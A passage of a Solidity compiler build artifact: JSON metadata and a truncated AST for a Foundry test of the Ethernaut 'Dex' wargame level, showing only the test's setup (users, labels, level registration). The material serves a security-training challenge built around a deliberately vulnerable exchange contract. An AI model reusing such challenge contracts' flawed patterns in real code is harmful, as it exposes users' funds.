k256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dex.sol":{"keccak256":"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9","urls":["bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350","dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a"],"license":"MIT"},"src/levels/DexFactory.sol":{"keccak256":"0x8d56f9a9b08cc0f033bc7f98934ca4180d8de705b6017af520dd516d058bf525","urls":["bzz-raw://1ed9f54897d7de9ccb4cff464a0bf26795267a7ed0b1bbcf37d0c9d36a9106f4","dweb:/ipfs/QmVXD4kmhXY9oaahAcAbRa5SVUnftYVZhPUy7MK8vexsUr"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Dex.t.sol":{"keccak256":"0x79886aaf5132642c72f481b5c4726066d83174fa71e0359ce3addc1aa7d7b866","urls":["bzz-raw://cbc808be9575ca307acf8ec2fab67dfcb93dad8f9c7c40fa040c1a6c407da70c","dweb:/ipfs/QmZZeQLmH1wACrcAUJR86sPDxi4chgy56agvgLjTF8GoGS"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Dex.t.sol","id":60001,"exportedSymbols":{"Dex":[50797],"DexFactory":[51019],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"SwappableToken":[50853],"Test":[12027],"TestBase":[65],"TestDex":[60000],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2383:125","nodes":[{"id":59707,"nodeType":"PragmaDirective","src":"32:23:125","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":59708,"nodeType":"ImportDirective","src":"57:28:125","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":59710,"nodeType":"ImportDirective","src":"86:43:125","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":59709,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59713,"nodeType":"ImportDirective","src":"131:55:125","nodes":[],"absolutePath":"src/levels/Dex.sol","file":"src/levels/Dex.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":50854,"symbolAliases":[{"foreign":{"id":59711,"name":"Dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50797,"src":"139:3:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":59712,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"144:14:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59715,"nodeType":"ImportDirective","src":"187:53:125","nodes":[],"absolutePath":"src/levels/DexFactory.sol","file":"src/levels/DexFactory.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":51020,"symbolAliases":[{"foreign":{"id":59714,"name":"DexFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51019,"src":"195:10:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59717,"nodeType":"ImportDirective","src":"241:48:125","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":59716,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"249:5:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59719,"nodeType":"ImportDirective","src":"290:44:125","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":60001,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":59718,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"298:9:125","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60000,"nodeType":"ContractDefinition","src":"336:2078:125","nodes":[{"id":59726,"nodeType":"VariableDeclaration","src":"374:19:125","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"384:9:125","scope":60000,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":59725,"nodeType":"UserDefinedTypeName","pathNode":{"id":59724,"name":"Ethernaut","nameLocations":["374:9:125"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"374:9:125"},"referencedDeclaration":49101,"src":"374:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":59729,"nodeType":"VariableDeclaration","src":"399:12:125","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"403:8:125","scope":60000,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"},"typeName":{"id":59728,"nodeType":"UserDefinedTypeName","pathNode":{"id":59727,"name":"Dex","nameLocations":["399:3:125"],"nodeType":"IdentifierPath","referencedDeclaration":50797,"src":"399:3:125"},"referencedDeclaration":50797,"src":"399:3:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"visibility":"internal"},{"id":59731,"nodeType":"VariableDeclaration","src":"418:21:125","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"434:5:125","scope":60000,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59730,"name":"address","nodeType":"ElementaryTypeName","src":"418:15:125","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59733,"nodeType":"VariableDeclaration","src":"445:22:125","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"461:6:125","scope":60000,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59732,"name":"address","nodeType":"ElementaryTypeName","src":"445:15:125","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59835,"nodeType":"FunctionDefinition","src":"654:577:125","nodes":[],"body":{"id":59834,"nodeType":"Block","src":"678:553:125","nodes":[],"statements":[{"assignments":[59738],"declarations":[{"constant":false,"id":59738,"mutability":"mutable","name":"users","nameLocation":"713:5:125","nodeType":"VariableDeclaration","scope":59834,"src":"688:30:125","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":59736,"name":"address","nodeType":"ElementaryTypeName","src":"688:15:125","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59737,"nodeType":"ArrayTypeName","src":"688:17:125","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":59742,"initialValue":{"arguments":[{"hexValue":"32","id":59740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"733:1:125","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":59739,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"721:11:125","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":59741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"721:14:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"688:47:125"},{"expression":{"id":59747,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59743,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59731,"src":"746:5:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59744,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59738,"src":"754:5:125","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59746,"indexExpression":{"hexValue":"30","id":59745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"760:1:125","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"754:8:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"746:16:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59748,"nodeType":"ExpressionStatement","src":"746:16:125"},{"expression":{"arguments":[{"id":59752,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59731,"src":"781:5:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":59753,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"788:7:125","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":59749,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"772:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"775:5:125","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"772:8:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"772:24:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59755,"nodeType":"ExpressionStatement","src":"772:24:125"},{"expression":{"id":59760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59756,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59733,"src":"807:6:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59757,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59738,"src":"816:5:125","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59759,"indexExpression":{"hexValue":"31","id":59758,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"822:1:125","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"816:8:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"807:17:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59761,"nodeType":"ExpressionStatement","src":"807:17:125"},{"expression":{"arguments":[{"id":59765,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59733,"src":"843:6:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":59766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"851:8:125","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":59762,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"834:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"837:5:125","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"834:8:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"834:26:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59768,"nodeType":"ExpressionStatement","src":"834:26:125"},{"expression":{"arguments":[{"id":59772,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59731,"src":"885:5:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59769,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"871:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:10:125","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"871:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59773,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"871:20:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59774,"nodeType":"ExpressionStatement","src":"871:20:125"},{"expression":{"id":59779,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59775,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59726,"src":"901:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59777,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59731,"src":"940:5:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59776,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"913:26:125","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"913:33:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"901:45:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59780,"nodeType":"ExpressionStatement","src":"901:45:125"},{"assignments":[59783],"declarations":[{"constant":false,"id":59783,"mutability":"mutable","name":"factory","nameLocation":"967:7:125","nodeType":"VariableDeclaration","scope":59834,"src":"956:18:125","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"},"typeName":{"id":59782,"nodeType":"UserDefinedTypeName","pathNode":{"id":59781,"name":"DexFactory","nameLocations":["956:10:125"],"nodeType":"IdentifierPath","referencedDeclaration":51019,"src":"956:10:125"},"referencedDeclaration":51019,"src":"956:10:125","typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}},"visibility":"internal"}],"id":59788,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59786,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"977:14:125","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DexFactory_$51019_$","typeString":"function () returns (contract DexFactory)"},"typeName":{"id":59785,"nodeType":"UserDefinedTypeName","pathNode":{"id":59784,"name":"DexFactory","nameLocations":["981:10:125"],"nodeType":"IdentifierPath","referencedDeclaration":51019,"src":"981:10:125"},"referencedDeclaration":51019,"src":"981:10:125","typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}}},"id":59787,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"977:16:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}},"nodeType":"VariableDeclarationStatement","src":"956:37:125"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59795,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59783,"src":"1041:7:125","typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}],"id":59794,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1033:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59793,"name":"address","nodeType":"ElementaryTypeName","src":"1033:7:125","typeDescriptions":{}}},"id":59796,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1033:16:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59792,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1027:5:125","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1027:23:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59789,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59726,"src":"1003:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1013:13:125","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1003:23:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1003:48:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59799,"nodeType":"ExpressionStatement","src":"1003:48:125"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59800,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1061:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59802,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1064:9:125","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1061:12:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1061:14:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59804,"nodeType":"ExpressionStatement","src":"1061:14:125"},{"expression":{"arguments":[{"id":59808,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59733,"src":"1100:6:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59805,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1086:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 